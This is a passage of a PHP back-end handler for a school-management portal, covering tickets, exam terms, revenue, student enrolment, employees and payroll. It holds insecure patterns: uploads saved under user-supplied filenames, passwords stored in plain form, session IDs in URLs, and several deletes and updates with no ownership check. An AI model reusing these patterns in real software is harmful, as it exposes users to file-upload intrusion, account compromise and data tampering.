	header("location:../terms.php?".session_id().session_id().session_id().session_id().session_id());

}









		 

if($_REQUEST['action']=="addTicket")

//print_r($_REQUEST);

{



	if($_FILES['img_file']['name']!=""){



			$target_path = "../Ticketimages/"; 

			$rand=rand(00000,999999);

			$target_path = $target_path.basename($rand.$_FILES['img_file']['name']);

			$img_src =  basename($rand.$_FILES['img_file']['name']);

			$tmp = $_FILES['img_file']['tmp_name'];

			move_uploaded_file($tmp, $target_path);

		}   else{$img_src ='';}



	$data = array(

		

		'branch_id' => $_SESSION['branch'],

		'customer_support_title' => $_REQUEST['customer_support_title'],

		'priority' => $_REQUEST['priority'],

		'month_id' => $_REQUEST['month_id'],

		//'priority' => $_REQUEST['priority'],

		'images' => $img_src,

		'description' => $_REQUEST['description']);	

//print_r($data);

	$result =  $m->insert('eduportal_customer_support', $data); 



$number="03091920336";

$message ="Dear sir/mam, 

a new ticket is generated (".$_REQUEST['customer_support_title'].").

From:".$_SESSION['branch_name']; 

 //echo "<br>".print_r($message)."<br/>";
 
 $result=sendSMSFuction($number,$message,$_SESSION['brand']);
	
	//print_r($result);
  
   $msgcount=ceil(strlen($message)/160);

   $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'other_msg' => 1,'msg_count'=>$msgcount );
    $result =  $m->insert('edu_messages_details', $data);



	$_SESSION['addsuccessexp']=1;

	header("location:../add_ticket.php?".session_id().session_id().session_id().session_id().session_id());

}









if($_REQUEST['action']=='updateTicket')

{



	  if($_FILES['img_file']['name']!=""){



			$target_path = "../Ticketimages/"; 

			$rand=rand(00000,999999);

			$target_path = $target_path.basename($rand.$_FILES['img_file']['name']);

			$img_src =  basename($rand.$_FILES['img_file']['name']);

			$tmp = $_FILES['img_file']['tmp_name'];

			move_uploaded_file($tmp, $target_path);

		}   else{$img_src ='';}



    if($_FILES['img_file']['name']!=""){

		

		

		$data = array(

		'branch_id' => $_SESSION['branch'],

		'customer_support_title' => $_REQUEST['customer_support_title'],

		'priority' => $_REQUEST['priority'],

		'month_id' => $_REQUEST['month_id'],

		'images' => $img_src,

		'description' => $_REQUEST['description']);

	

		

	} else{

	

	$data = array(

		'branch_id' => $_SESSION['branch'],

		'customer_support_title' => $_REQUEST['customer_support_title'],

		'priority' => $_REQUEST['priority'],

		'month_id' => $_REQUEST['month_id'],

		'description' => $_REQUEST['description']);

	} 

	 	//print_r($data);

	 $m->where("customer_support_id", $_REQUEST['customer_support_id']);

     $m->where("branch_id", $_SESSION['branch']);

	 $result =  $m->update ('eduportal_customer_support', $data);	



	$_SESSION['User_Updated']=1;

	header("location:../add_ticket.php?".session_id().session_id().session_id().session_id().session_id()."&notiup=".$_REQUEST['notification_id']);

}





if(($_REQUEST['action']=='DeleteTicket'))

{



	if($_REQUEST['id']!='')

	{

		

	    $m->where("customer_support_id", $_REQUEST['id']);

	    $m->where("branch_id", $_SESSION['branch']);

     	$result = $m-> delete('eduportal_customer_support');



     	



		$_SESSION['deleteexp']=1;

		header("location:../add_ticket.php?".session_id().session_id().session_id().session_id().session_id()."");

	}



}







if($_REQUEST['action']=='UpdateTerm')

{

	$data = array(

		'term_title' => $_REQUEST['name'],
		'starting_date' => $_REQUEST['starting'],
		'Live_Mobile_App' => $_REQUEST['Live_Mobile_App'],
		'ending_date' => $_REQUEST['ending']);



	$m->where ("term_id", $_REQUEST['id']);



	$result =  $m->update ('eduportal_exam_terms', $data);





	// now adding user audit detail



	  			

					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Update Term , Term Name=".$_REQUEST['name'];



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);



	$_SESSION['Upsuccess']=1;

	header("location:../terms.php?".session_id().session_id().session_id().session_id().session_id());

}






if(($_REQUEST['action']=='DeleteTerms'))

{



	if($_REQUEST['terms']!='')

	{


		

     	$m->where("term_id", $_REQUEST['terms']);

		$m->where("branch_id", $_SESSION['branch']);

		$Oldrecords= $m->get("eduportal_exam_terms");
		

	    $m->where("term_id", $_REQUEST['terms']);

	    $m->where("branch_id", $_SESSION['branch']);

     	$result = $m-> delete('eduportal_exam_terms');



     	$data2 = array(  

		'old_term_id' => $_REQUEST['terms'],

		'term_title' => $Oldrecords[0]['term_title'],

		'branch_id' => $_SESSION['branch'],

		'session_id' => $Oldrecords[0]['session_id'],

		'starting_date' => $Oldrecords[0]['starting_date'],

		'ending_date' => $Oldrecords[0]['ending_date'],

		);

		

		$result2 =  $m->insert ('eduportal_exam_terms_old', $data2);     	



		$_SESSION['deleteexp']=1;

		header("location:../terms.php?".session_id().session_id().session_id().session_id().session_id()."");

	}


}






if($_REQUEST['action']=='AddSubject')

{

	$data = array(

		'subject' => $_REQUEST['sub'],

		'branch_id' => $_SESSION['branch']

		);

	$result =  $m->insert ('eduportal_subject_config', $data);	



	// now adding user audit detail



					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Add Subject , Subject Name=".$_REQUEST['sub'];



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);



	header("location:../subjects.php?".session_id().session_id().session_id().session_id().session_id());

}



// Add Catogories 



if($_REQUEST['action']=='AddCategories')

{

	$data = array(

		'cat_name' => $_REQUEST['cat'],

		'branch_id' => $_SESSION['branch']

		);

	$result =  $m->insert (' eduportal_contacts_category', $data);	



	// now adding user audit detail



					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Add Category , Category Name=".$_REQUEST['cat'];



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);



	header("location:../add_categories.php?".session_id().session_id().session_id().session_id().session_id());

}



					// Close code
if($_REQUEST['action']=="add_revenueHead")

//print_r($_REQUEST);

{


	$data = array(
	

		'revenue_head' => $_REQUEST['revenue_head'],
		
		'revenue_head_date' => date("Y-m-d"),

		'branch_id' => $_SESSION['branch']);

//print_r($data);

	$result =  $m->insert('eduportal_revenue_heads', $data); 

	$_SESSION['addsuccessexp']=1;

	header("location:../revenue_heads.php?".session_id().session_id().session_id().session_id().session_id());

}


if($_REQUEST['action']=='update_Rhead')

{
			

		$data = array(

				'revenue_head' => $_REQUEST['revenue_head'],
		
		        'revenue_head_date' => date("Y-m-d"),				

				'branch_id' => $_SESSION['branch']				

			);



	$m->where ("revenueHead_id", $_REQUEST['revenueHead_id']);

	$result =  $m->update ('eduportal_revenue_heads', $data);	



	$_SESSION['upsuccessexp']=1;
	
	header("location:../revenue_heads.php?".session_id().session_id().session_id().session_id().session_id());

}



if(($_REQUEST['action']=='DeleteRevenueHead'))

{

	if($_REQUEST['revenueHeadDelete']!='')

	{
	

	    $m->where("revenueHead_id", $_REQUEST['revenueHeadDelete']);

     	$result = $m-> delete('eduportal_revenue_heads');
    	

		$_SESSION['deleteexp']=1;

		header("location:../revenue_heads.php?".session_id().session_id().session_id().session_id().session_id()."");

	}


	else

	{

		header("location:../revenue_heads.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");

	}





}


if(($_REQUEST['action']=='DeleteRevenueList'))

{

	if($_REQUEST['revenueListDelete']!='')

	{
	

	    $m->where("revenue_id", $_REQUEST['revenueListDelete']);

     	$result = $m-> delete('eduportal_revenue_config');


     	$m->where("revenue_id", $_REQUEST['revenueListDelete']);

     	$result = $m-> delete('eduportal_revenue_details');


    	

		$_SESSION['deleteexp']=1;

		header("location:../revenue_list.php?".session_id().session_id().session_id().session_id().session_id()."");

	}


	else

	{

		header("location:../revenue_list.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");

	}





}



if($_REQUEST['action']=="add_CV")

//print_r($_REQUEST);

{

	if($_FILES['img_file']['name']!=""){

	$target_path = "../CV_Bank/"; 

			$rand=rand(00000,999999);

			$target_path = $target_path.basename($rand.$_FILES['img_file']['name']);

			$img_src =  basename($rand.$_FILES['img_file']['name']);

			$tmp = $_FILES['img_file']['tmp_name'];

			move_uploaded_file($tmp, $target_path);

		}   else{$img_src ='';}



	$data = array(

		

		'name' => $_REQUEST['name'],

		'father_name' => $_REQUEST['father_name'],

		'post' => $_REQUEST['post'],

		'cell_no' => $_REQUEST['cell'],

		'apply_date' => $_REQUEST['Applydate'],

		'month' => $_REQUEST['month'],

		'session_id' => $_SESSION['current_session'],

		'branch_id' => $_SESSION['branch'],

		'upload_cv' => $img_src);

	

//print_r($data);

	$result =  $m->insert('eduportal_cv_bank', $data); 



	$_SESSION['addsuccessexp']=1;



	$from=date("Y-m-d",strtotime($_REQUEST['edate']));

	$to=date("Y-m-d",strtotime($_REQUEST['edate']));



	header("location:../cv_bank.php?".session_id().session_id().session_id().session_id().session_id()."&from=".$from."&to=".$to);

}



if($_REQUEST['action']=="add_school")

//print_r($_REQUEST);

{


	$data = array(
	

		'school_name' => $_REQUEST['school_name'],

		'school_contact' => $_REQUEST['school_contact'],

		'school_address' => $_REQUEST['school_address'],
		
		'session_id' => $_SESSION['current_session'],

		'branch_id' => $_SESSION['branch']);

//print_r($data);

	$result =  $m->insert('eduportal_add_school', $data); 

	$_SESSION['addsuccessexp']=1;

	header("location:../add_school.php?".session_id().session_id().session_id().session_id().session_id());

}


if($_REQUEST['action']=='update_school')

{

		
		

		$data = array(

		'school_name' => $_REQUEST['school_name'],

		'school_contact' => $_REQUEST['school_contact'],

		'school_address' => $_REQUEST['school_address'],
		
		'session_id' => $_SESSION['current_session'],

		'branch_id' => $_SESSION['branch']);

		

	$m->where ("school_id", $_REQUEST['school_id']);

	$result =  $m->update ('eduportal_add_school', $data);	

	$_SESSION['upsuccessexp']=1;

	header("location:../add_school.php?".session_id().session_id().session_id().session_id().session_id());

}



if(($_REQUEST['action']=='DeleteSchool'))

{

	if($_REQUEST['schlup']!='')

	{

	
	    $m->where("school_id", $_REQUEST['schlup']);

     	$result = $m-> delete('eduportal_add_school');




		$_SESSION['deleteexp']=1;

		header("location:../add_school.php?".session_id().session_id().session_id().session_id().session_id()."");

	}



	else

	{

		header("location:../add_school.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");

	}

}



if($_REQUEST['action']=="inquiry_form")



{

//print_r($_REQUEST);

	$data = array(

		'branch_id' => $_SESSION['branch'],

		'student_name' => $_REQUEST['student_name'],

		'father_name' => $_REQUEST['father_name'],

		'gender' => $_REQUEST['gender'],

		'cell' => $_REQUEST['cell'],

		'std_cell' => $_REQUEST['std_cell'],

		'school_id' => $_REQUEST['school_id'],

		'test_date' => $_REQUEST['test_date'],

		'previous_class' => $_REQUEST['previous_class'],

		'previous_Tmarks' => $_REQUEST['previous_Tmarks'],

		'previous_Omarks' => $_REQUEST['previous_Omarks'],

		'class_id' => $_REQUEST['class_id'],

		'section_id' => $_REQUEST['section'],

		'student_confirmed' => $_REQUEST['student_confirmed'],

		'student_visited' => $_REQUEST['student_visited'],

		'prospectus' => $_REQUEST['prospectus'],

		'refrence' => $_REQUEST['refrence'],		

		'inquiry_date' => $_REQUEST['inquiry_date'],

		'address' => $_REQUEST['address'],

		'Locality' => $_REQUEST['Locality'],

		'remarks' => $_REQUEST['remarks']);
	

//print_r($data);

	$result =  $m->insert('eduportal_student_inquiry_form', $data); 


		if ($_REQUEST['send_msg']=="YES") {
					

	    $number=$_REQUEST['cell'];

		$stdName =$_REQUEST['student_name'];

		$message="Dear ".$stdName.", Thank You For Visiting At ".$_SESSION['branch_name'];

//echo $message;
		sendSMSFuction($number,$message,$_SESSION['brand']);


	   $msgcount=ceil(strlen($message)/160);

	   $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'other_msg' => 1,'msg_count'=>$msgcount );
	    $result =  $m->insert('edu_messages_details', $data);

	  }

	$_SESSION['addsuccessexp']=1;

	header("location:../student_inquiry.php?".session_id().session_id().session_id().session_id().session_id());

}




	if($_REQUEST['action']=="EnrolStudent"){


		$m->where("first_name",$_REQUEST['student_name']);		

		$m->where("cell_no",$_REQUEST['cell']);		

		$m->where("branch_id",$_SESSION['branch']);	

		$m->where("status","0");		

		$record = $m->get("edu_student_details");


//echo count($record);
	

		if(count($record)>0){

	

		$_SESSION['error_msg']=1;	

     	header("location:../student_inquiry.php?".session_id().session_id().session_id().session_id().session_id());

				

		}

		else {

			$m->where("session_id", $_SESSION['current_session']);

			$ss11=$m->get("edu_session_config");

			$session=$ss11[0]['session_year']-2000;
			$branch=$_SESSION['branch'];

// coding to generate auto roll number
		

	    $ss="-".$session."-";



			$sql = "SELECT MAX(CAST(SUBSTR(candidate_roll_no,4,LENGTH(candidate_roll_no)) AS UNSIGNED)) AS prev_roll

		FROM edu_student_details as std WHERE std.branch_id =  '$branch' AND std.status='0'

		";	

		

		$numb;

		

		$evt =$m->query($sql);
		

		$prev= $evt[0]['prev_roll'];



			if($prev!=NULL){			

					

					$numb=$prev+1;		

				

			} else{$numb+=1;}



			$roll=str_pad($numb,3,'0',STR_PAD_LEFT);

			

			$newRoll=$session."-".$roll;



			if ($newRoll!=NULL){		

			$roll= $newRoll;

			}

			else{

				

			$roll= "--";				

				}

  // closing code for generating roll number


				$data = array(

				'first_name' => $_REQUEST['student_name'],

				'last_name' => $_REQUEST['father_name'],

				'cell_no' => $_REQUEST['cell'],

				'gender' => $_REQUEST['gender'],

				'branch_id' => $_SESSION['branch'],

				'class_id' => $_REQUEST['class_id'],

				'class_admited' => $_REQUEST['class_id'],

				'ref_no' => $_REQUEST['admNo'],

				'family_code' => $_REQUEST['familyNo'],

				'candidate_roll_no' => utf8_decode_all($roll),

				'section_id' => $_REQUEST['section_id'],

				'session_id' => $_SESSION['current_session'],

				'address' => $_REQUEST['address'],

				'date_of_adms' => date("Y-m-d"));

				//print_r($data);

					 $result = $m->insert('edu_student_details',$data);

					 $id= $m->getInsertId();	

		$cell=$_REQUEST['cell'];
		$firstName=$_REQUEST['student_name'];


		$m->where("branch_id", $_SESSION['branch']);

		$branch=$m->get("edu_branch_config");

		 if($branch[0]['stds_welcome_msg']=="1" || $branch[0]['stds_welcome_msg']==1 AND $_REQUEST['sendSms']=="YES"){

	

		$msg="Dear ".$firstName.", It is our pleasure to welcome you at ".$_SESSION['branch_name'].". Thank you for choosing us!";

		

		$result=sendSMSFuction($cell,$msg,$_SESSION['brand']);

		//print_r($result);

		 $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $cell,'msg_details' => $msg,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'other_msg' => 1);

		$result =  $m->insert ('edu_messages_details', $data);						

	}

	


		$_SESSION['addsuccessexp']=1;

	header("location:../student_profile.php?".session_id().session_id().session_id().session_id().session_id()."&successlogin=1&student=".$id);

	}

}





if(($_POST['action']=='SendStudentFeeRecords'))

{

//	print_r($_POST);

  //echo "<pre>"; print_r($_REQUEST); echo "</pre>";



  $session=$_POST['session'];   

  $month=$_POST['months'];   

 $months=implode(",",$month);



$_SESSION['done']=1;

	header("location:../multi_months_fee_reports.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_POST['session']."&class_id=".$_POST['class_id']."&section=".$_POST['section']."&months=".$months); 



}  // main 


if($_REQUEST['action']=="edit_inquiry_form"){


  //print_r($_REQUEST);


 
  $data1 = array(

  

		
		'branch_id' => $_SESSION['branch'],

		'student_name' => $_REQUEST['student_name'],

		'father_name' => $_REQUEST['father_name'],

		'gender' => $_REQUEST['gender'],

		'cell' => $_REQUEST['cell'],

		'std_cell' => $_REQUEST['std_cell'],

		'school_id' => $_REQUEST['school_id'],

		'test_date' => $_REQUEST['test_date'],

		'previous_class' => $_REQUEST['previous_class'],

		'previous_Tmarks' => $_REQUEST['previous_Tmarks'],

		'previous_Omarks' => $_REQUEST['previous_Omarks'],

		'class_id' => $_REQUEST['class_id'],

		'section_id' => $_REQUEST['section'],

		'student_confirmed' => $_REQUEST['student_confirmed'],

		'student_visited' => $_REQUEST['student_visited'],

		'prospectus' => $_REQUEST['prospectus'],

		'refrence' => $_REQUEST['refrence'],		

		'inquiry_date' => $_REQUEST['inquiry_date'],

		'address' => $_REQUEST['address'],

		'Locality' => $_REQUEST['Locality'],

		'remarks' => $_REQUEST['remarks']);

//echo "<pre>"; print_r($data1); echo "</pre>";
	
	$m->where ("iquiryFormID", $_REQUEST['formId']);

	$result =  $m->update ('eduportal_student_inquiry_form', $data1);		


  $_SESSION['addsuccessexp']=1;

  header("location:../student_inquiry.php?".session_id().session_id().session_id().session_id().session_id());

}


if(($_REQUEST['action']=='DeleteInquriyForm'))

{

	if($_REQUEST['inquriyId']!='')

	{

	   $m->where("iquiryFormID", $_REQUEST['inquriyId']);

     	$result = $m-> delete('eduportal_student_inquiry_form');

		$_SESSION['deleteexp']=1;

		header("location:../student_inquiry.php?".session_id().session_id().session_id().session_id().session_id()."");

	}
	
	else

	{

		header("location:../student_inquiry.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");
	}


}

		 
if($_REQUEST['action']=="AddRevenue")
{



	$data = array(
		'branch_id' => $_SESSION['branch'],
		'student_id' => $_REQUEST['student'],
		'class_id' => $_REQUEST['class_id'],
		'session_id' => $_REQUEST['session'],
		'month_id' => $_REQUEST['month'],
		'add_date' => date("Y-m-d"),
		'add_time' => date("h:i:sa"),
		'edit_date' => date("Y-m-d"),
		'edit_time' => date("h:i:sa"));
	
	$result =  $m->insert('eduportal_revenue_config', $data);
 	$id= $m->getInsertId();

   // print_r($_REQUEST['prod_ids']);
	


for($i=0;$i<count($_REQUEST['revenue_head']);$i++){
		
	
   if($_REQUEST['revenue_head'][$i]!="" || $_REQUEST['revenue_head'][$i]!=null){

				
	$data = array(
		'branch_id' => $_SESSION['branch'],
		'session_id' => $_REQUEST['session'],
		'revenue_head_id' => $_REQUEST['revenue_head'][$i],
		'paid_by' => $_REQUEST['paidBy'],
		'paid_date' => $_REQUEST['paidDate'],
		'revenue_id' => $id,
		'amount' => $_REQUEST['amount'][$i],
		'remarks' => $_REQUEST['remarks'][$i]
		);
	
	$result =  $m->insert('eduportal_revenue_details', $data);
 
}
    }
   
   $_SESSION['oder']="done";
 
	// print_r($_SESSION);
	header("location:../revenue_list.php?".session_id().session_id().session_id().session_id().session_id()."&successlogin=1&id=".$id);  


}


// starting update RevenueBill
		 
if($_REQUEST['action']=="Update_RevenueBill")
{

	//print_r($_REQUEST['prod_ids']);
$id= $_REQUEST['id'];

$m->where("revenue_id", $_REQUEST['id']);
$m->delete('eduportal_revenue_details');
	
	
	for($i=0;$i<count($_REQUEST['revenue_head']);$i++){
		
	
   if($_REQUEST['revenue_head'][$i]!="" || $_REQUEST['revenue_head'][$i]!=null){

				
	$data = array(
		'branch_id' => $_SESSION['branch'],
		'session_id' => $_REQUEST['session'],
		'revenue_head_id' => $_REQUEST['revenue_head'][$i],
		'paid_by' => $_REQUEST['paidBy'],
		'paid_date' => $_REQUEST['paidDate'],
		'revenue_id' => $id,
		'amount' => $_REQUEST['amount'][$i],
		'remarks' => $_REQUEST['remarks'][$i]
		);
	
	$result =  $m->insert('eduportal_revenue_details', $data);
 
}
    }
   
   $_SESSION['order_update']="done";
 
	// print_r($_SESSION);
	 header("location:../revenue_list.php?".session_id().session_id().session_id().session_id().session_id());  

}




if($_REQUEST['action']=='AllocateSubjects')

{



	foreach($_REQUEST['subjects'] as $sub){



		// print_r($_REQUEST);

		// check from table a

		$m->where("user_id", $_REQUEST['teacher']);

		$m->where("subject_id", $sub);

		$m->where("branch_id", $_SESSION['branch']);

		$records= $m->get("eduportal_teacher_subject_details");



		// neglating the duplication while insertion

		// print_r($records);

		if(count($records)<0 || count($records)==0 ){



			//echo "Condition is true";

			

			$data = array(

				'user_id' => $_REQUEST['teacher'],

				'subject_id' => $sub,

				'branch_id' => $_SESSION['branch']

				);

			$result =  $m->insert ('eduportal_teacher_subject_details', $data);			



			} else {

				

				continue;

			}







	}



	header("location:../subjects_allocation.php?".session_id().session_id().session_id().session_id().session_id());

}







if($_REQUEST['action']=='TimeTableSettings')

{	



	$m->where("branch_id", $_SESSION['branch']);

	$result =  $m->delete ('eduportal_timetable_settings');	



	$data = array(

		'branch_id' => $_SESSION['branch'],

		'total_periods' => $_REQUEST['total_periods'],

		'frst_period_minutes' => $_REQUEST['minutes'],

		'frst_period_seconds' => $_REQUEST['seconds'],

		'period_duration' => $_REQUEST['period_duration'],

		'break_duration' => $_REQUEST['break_duration']

		);

	$result =  $m->insert ('eduportal_timetable_settings', $data);	

	$_SESSION['Upsuccess']=1;

	header("location:../timetable_settings.php?".session_id().session_id().session_id().session_id().session_id());

}





if($_REQUEST['action']=='AddEmployee')

{



    $m->where ("cell_no", $_REQUEST['cell_no']);

	$m->where ("user_fname", $_REQUEST['fname']);

	$m->where ("status", 0);

	$m->where ("branch_id", $_SESSION['branch']);

	$old_challan =  $m->get ('edu_user_config');



	if(count($old_challan)>0){



	$_SESSION['already']=1;

	header("location:../view_emp.php?".session_id().session_id().session_id().session_id().session_id());



	} else {

   

	  if($_FILES['img_file']['name']!=""){



			$target_path = "../staff_pics/"; 

			$rand=rand(00000,999999);

			$target_path = $target_path.basename($rand.$_FILES['img_file']['name']);

			$img_src =  basename($rand.$_FILES['img_file']['name']);

			$tmp = $_FILES['img_file']['tmp_name'];

			move_uploaded_file($tmp, $target_path);

		}   else{$img_src ='';}





	  if($_FILES['cv']['name']!=""){



			$target_path = "../staff_pics/"; 

			$rand=rand(00000,999999);

			$target_path = $target_path.basename($rand.$_FILES['img_file']['name']);

			$cv =  basename($rand.$_FILES['img_file']['name']);

			$tmp = $_FILES['img_file']['tmp_name'];

			move_uploaded_file($tmp, $target_path);

		}   else{$cv ='';}
		

/*$sql="insert into edu_user_config (user_fname,user_email,branch_id,user_lname,user_gender,user_religion,attach_image,user_cnic,user_postalcode,user_qualification,department_id,user_blood,cell_no,user_address,user_cv,user_joining,user_confirmation,user_jobtype,designation_id,user_prev_desig,user_prev_exp,user_prev_comp,DOB,class_id,section_id,incharge) values ('".$_REQUEST['fname']."','".$_REQUEST['email']."','".$_SESSION['branch']."','".$_REQUEST['lname']."','".$_REQUEST['gender']."','".$_REQUEST['religion']."','".$img_src."','".$_REQUEST['cnic']."','".$_REQUEST['postal']."','".$_REQUEST['qualification']."','".$_REQUEST['department']."','".$_REQUEST['blood']."','".$_REQUEST['cell_no']."','".$_REQUEST['address']."','".$cv."','".$_REQUEST['joining']."','".$_REQUEST['confirmation']."','".$_REQUEST['jobtype']."','".$_REQUEST['designation']."','".$_REQUEST['salary']."','".$_REQUEST['prev_desig']."','".$_REQUEST['prev_exp']."','".$_REQUEST['prev_comp']."','".$_REQUEST['DOB']."','".$_REQUEST['class_id']."','".$_REQUEST['section']."','".$_REQUEST['incharge']."') ";

echo $sql;

	$m->query($sql);
*/

	$data = array(

		'user_fname' => $_REQUEST['fname'],

		'user_email' => $_REQUEST['email'],

		'user_password' => $_REQUEST['password'],

		'branch_id' => $_SESSION['branch'],

		'user_lname' => $_REQUEST['lname'],

		'user_gender' => $_REQUEST['gender'],

		'user_religion' => $_REQUEST['religion'],

		'attach_image' => $img_src,

		'user_cnic' => $_REQUEST['cnic'],

		'user_postalcode' => $_REQUEST['postal'],

		'user_qualification' => $_REQUEST['qualification'],

		'department_id' => $_REQUEST['department'],

		'user_blood' => $_REQUEST['blood'],

		'cell_no' => $_REQUEST['cell_no'],

		'home_no' => $_REQUEST['home_no'],

		'user_address' => $_REQUEST['address'],

		'account_holder' => $_REQUEST['account_holder'],

		'bank_name' => $_REQUEST['bank_name'],

		'account_no' => $_REQUEST['account_no'],

		'user_cv' => $cv,

		'user_joining' => $_REQUEST['joining'],

		'user_confirmation' => $_REQUEST['confirmation'],

		'user_jobtype' => $_REQUEST['jobtype'],

		'designation_id' => $_REQUEST['designation'],

		'user_salary' => $_REQUEST['salary'],

		'user_prev_desig' => $_REQUEST['prev_desig'],

		'user_prev_exp' => $_REQUEST['prev_exp'],

		'user_prev_comp' => $_REQUEST['prev_comp'],

		'DOB' => $_REQUEST['DOB'],

		'class_id' => $_REQUEST['class_id'],

		'section_id' => $_REQUEST['section'],

		'emp_trav' => $_REQUEST['emp_trav'],

		//'emp_leaves' => $_REQUEST['emp_leaves'],

		//'emp_incentives' => $_REQUEST['emp_incentives'],

		'emp_reimbersement' => $_REQUEST['emp_reimbersement'],

		'emp_other' => $_REQUEST['emp_other'],

		'incharge' => $_REQUEST['incharge']);

	  //print_r($data);

	$result =  $m->insert ('edu_user_config', $data);	
	$user= $m->getInsertId();


	// this is the script for sending welcome msg to Employee

				$m->where("branch_id", $_SESSION['branch']);

				$branch=$m->get("edu_branch_config");

				$fname=$_REQUEST['fname'];

				$cell=$_REQUEST['cell_no'];

				if($branch[0]['stds_welcome_msg']=="1" || $branch[0]['stds_welcome_msg']==1 ){

				

					$msg="Dear ".$fname.", It is our pleasure to welcome you at ".$_SESSION['branch_name'].". Thank you for choosing us!";

					

					$result=sendSMSFuction($cell,$msg,$_SESSION['brand']);

					//print_r($result);

					 $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $cell,'msg_details' => $msg,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'other_msg' => 1);

    				$result =  $m->insert ('edu_messages_details', $data);						

				}


	// now inserting designation ID for teacher 

	if ($_REQUEST['designation']=='5') {
		
		$_SESSION['Added']=1;

	/*header("location:../view_emp.php?".session_id().session_id().session_id().session_id().session_id());*/
	header("location:../emp_details.php?".session_id().session_id().session_id().session_id().session_id()."&emp=".$user);

	} elseif ($_REQUEST['userAccess']=='1' AND $_REQUEST['designation']!='5') {

		header("location:../assign_user_access.php?".session_id().session_id().session_id().session_id().session_id()."&id=".$user."&desigID=".$_REQUEST['designation']);
	} else {

		header("location:../emp_details.php?".session_id().session_id().session_id().session_id().session_id()."&emp=".$user);
	}
	
}


}











	if(($_REQUEST['action']=='ActiveEmployee'))

{

	

//print_r($_POST);

			$data = array(

			'status' => 0

										

			);



		//	 print_r($data);

			$m->where ("user_id", $_REQUEST['id']);

			$result =  $m->update ('edu_user_config', $data);

			//print_r($result);

		

	



		$_SESSION['Added']=1;	

		header("location:../old_employee.php?".session_id().session_id().session_id().session_id().session_id());

	

}  // main



									

if($_POST['action']=='EditEmployeeSalary'){ 



//print_r($_POST);



			$data = array(

			'session_id' => $_POST['session'],

			'branch_id' => $_SESSION['branch'],

			'user_id' => $_POST['employee'],

			'previous_balance' => $_POST['pre_balance'],

			'basic_salary' => $_POST['basic_salary'],

			//'advance_salary' => $_POST['advance_salary'],

			'month_id' => $_POST['month'],

			'income_tax' => $_POST['income_tax'],

			'provident_fund' => $_POST['provident_fund'],

			'personal_loan' => $_POST['personal_loan'],

			'other_deductions' => $_POST['other_deductions'],

			'leave_deduction' => $_POST['leave_deduction'],

			'total_deduction' => $_POST['total_deduction'],

			'travelling_allowance' => $_POST['travelling_allowance'],

			'security_deductions' => $_POST['security_deductions'],

			'leave_encashment' => $_POST['leave_encashment'],

			//'incentive_commission' => $_POST['incentive_commission'],

			'reimbursement' => $_POST['emp_reimbersement'],

			'other_allowances' => $_POST['other_allowances'],

			'total_allowances' => $_POST['total_allowances'],

			'net_total' => $_POST['net_total']);



			$m->where("user_id",$_POST['employee']);

			$m->where("month_id",$_POST['month']);

			$m->where("session_id",$_POST['session']);



			//print_r($data); 

			$result = $m->update('employee_payroll',$data);

			


			// update user security

		$m->where("user_id", $_POST['employee']);
		$m->where("branch_id", $_SESSION['branch']);
		$userSecurity=$m->get("edu_user_config");

		$TotaluserSecurity=$userSecurity[0]['user_security']-$_POST['security'];
		$userSecurityUpdate=$TotaluserSecurity+$_POST['security_deductions'];

	$data = array(

		
		'user_security' => $userSecurityUpdate);

	 

	 	//print_r($data);

	 $m->where("user_id", $_POST['employee'][$i]);

     $m->where("branch_id", $_SESSION['branch']);

	 $result =  $m->update ('edu_user_config', $data);	
		

			// now adding user audit detail



	  				$m->where("Month_Id", $_POST['month']);

					$sec = $m->get("eduportal_month_config");



					$m->where("user_id", $_POST['employee']);

					$rec = $m->get("edu_user_config");



					$Staff_Name=$rec[0]['user_fname'];

					$month_name=$sec[0]['Month_Name'];

					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Edit Employee Salary , Month Name=".$month_name.", Staff Name=".$Staff_Name ;



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);





		$_SESSION['Updated']=1;	

		header("location:../view_payroll.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_REQUEST['session']."&month=".$_REQUEST['month']);

}  // main





if($_REQUEST['action']=='EditLink')

{

	$data = array(

		'youtube_link' => $_REQUEST['youtube_link'],
		'Invite_Link' => $_REQUEST['Invite_Link']	
		);

	$m->where("liveClass_id", $_REQUEST['linkID']);
	$m->where("branch_id", $_SESSION['branch']);
